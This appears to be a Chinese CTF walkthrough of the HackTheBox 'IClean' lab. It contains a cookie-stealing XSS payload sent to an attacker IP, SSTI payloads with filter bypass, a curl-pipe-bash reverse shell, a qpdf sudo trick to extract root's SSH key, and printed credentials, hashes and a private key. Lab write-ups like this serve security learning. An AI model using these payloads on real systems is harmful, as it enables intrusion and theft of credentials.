扫描靶机
nmap -sC -sV -T4 -Pn 10.10.11.12
进入到80网站会重定向到capiclean.htb,写到hosts,然后访问
右上角有个login按钮
没有注册界面,爆破一下目录
wfuzz -c -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -u "http://capiclean.htb/FUZZ" --hc 404 --hl 348
其中找到了一个quote的目录,进去看看
先抓包看看
首先测试一下ssrf,首先在本地开启python,然后用js命令反弹到本地
POST /sendMessage HTTP/1.1
Host: capiclean.htb
User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 187
Origin: http://capiclean.htb
Connection: close
Referer: http://capiclean.htb/quote
Upgrade-Insecure-Requests: 1
service=%3Cimg%20src%20onerror%3D%22this.src%3D%27http%3A//10.10.14.18/%3Fcookie%3D%27%2Bbtoa%28document.cookie%29%22%3E&service=Tile+%26+Grout&service=Office+Cleaning&email=cxk%40cxk.cx
成功的反弹了cookie,将cookie写到网站的cookie,但是你要先解码,这cookie是base64,新建一个
可以看到有四个选项,其中有个QR的,是二维码,点击进去
没有invoice-id,那就先创建一个,点击第一个选项
得到了这串数字,回到QR那里,输入,并得到一个地址
这就是qr地址,测试一下ssti
从这单子上没什么信息,但是查看到源码,可以发现是刚刚的ssti,99等于81
先抓包,然后测试一下,使用常规的ssti的payload尝试一下
{{request['application']['__globals__']['__builtins__']['__import__']('os')['popen']('id')['read']()}}
可以发现直接被报错了,可能是有符号过滤,参考这篇文章可以绕过过滤
https://hackmd.io/@Chivato/HyWsJ31dI
{{request|attr('application')|attr('x5fx5fglobalsx5fx5f')|attr('x5fx5fgetitemx5fx5f')('x5fx5fbuiltinsx5fx5f')|attr('x5fx5fgetitemx5fx5f')('x5fx5fimportx5fx5f')('os')|attr('popen')('id')|attr('read')()}}
接下来输入payload,直接反弹shell,同样的利用ssrf原理来反弹
{{request|attr("application")|attr("x5fx5fglobalsx5fx5f")|attr("x5fx5fgetitemx5fx5f")("x5fx5fbuiltinsx5fx5f")|attr("x5fx5fgetitemx5fx5f")("x5fx5fimportx5fx5f")("os")|attr("popen")("curl+10.10.14.57/ikun.sh+|+bash")|attr("read")()}}
成功的反弹shell,底下有个app.py脚本,检查一下
里面有个用户,测试一下能不能登陆ssh
db_config = {
'host': '127.0.0.1',
'user': 'iclean',
'password': 'pxCsmnGLckUb',
'database': 'capiclean'
}
看来无法登陆,检查后台端口,可以看到一个3306
使用刚刚拿到的数据库用户名,登陆sql
直接进入capiclean,查看里面的tables
拿到了一串哈希,直接爆破
MySQL [capiclean]> select * from users;
+----+----------+------------------------------------------------------------------+----------------------------------+
| id | username | password | role_id |
+----+----------+------------------------------------------------------------------+----------------------------------+
| 1 | admin | 2ae316f10d49222f369139ce899e414e57ed9e339bb75457446f2ba8628a6e51 | 21232f297a57a5a743894a0e4a801fc3 |
| 2 | consuela | 0a298fdd4d546844ae940357b631e40bf2a7847932f82c494daa1c9c5d6927aa | ee11cbb19052e40b07aac0ca060c23ee |
+----+----------+------------------------------------------------------------------+----------------------------------+
2 rows in set (1.295 sec)
这是一串sha256的哈希,直接使用john爆破
john --wordlist=/home/ioi/rockyou.txt hash --format=raw-sha256
成功爆破出密码是:simple and clean,使用ssh登陆一下
成功的拿到user flag,查看一下sudo -l是否存在提权信息
是通过qpdf进行提权,输入-h可以查看该工具的使用教程,该工具用来处理跟转换pdf的
网上也存在该工具的使用教程以及解释
https://qpdf.readthedocs.io/en/stable/cli.html
首先,使用—empty参数创建一个空文档,然后使用—qdf参数生成一个qdf模式的pdf文件,使用—add-attachment参数将某文件作为附件添加到该pdf里面,这次用root的id_rsa,生成的文件叫id_rsa.pdf
sudo /usr/bin/qpdf --empty --qdf --add-attachment /root/.ssh/id_rsa -- id_rsa.pdf
得到一串密钥,直接给600权限然后登陆
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAaAAAABNlY2RzYS
1zaGEyLW5pc3RwMjU2AAAACG5pc3RwMjU2AAAAQQQMb6Wn/o1SBLJUpiVfUaxWHAE64hBN
vX1ZjgJ9wc9nfjEqFS+jAtTyEljTqB+DjJLtRfP4N40SdoZ9yvekRQDRAAAAqGOKt0ljir
dJAAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBAxvpaf+jVIEslSm
JV9RrFYcATriEE29fVmOAn3Bz2d+MSoVL6MC1PISWNOoH4OMku1F8/g3jRJ2hn3K96RFAN
EAAAAgK2QvEb+leR18iSesuyvCZCW1mI+YDL7sqwb+XMiIE/4AAAALcm9vdEBpY2xlYW4B
AgMEBQ==
-----END OPENSSH PRIVATE KEY-----
成功的拿到了root flag
root:$y$j9T$s0AIwd7onN6K77K5v8DNN/$bSd333U5BKvkfCPEGdf9dLl3bOYwqOlFNtGZ1FQQuv/:19774:0:99999:7:::
原文始发于微信公众号(Jiyou too beautiful):HTB-IClean笔记
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论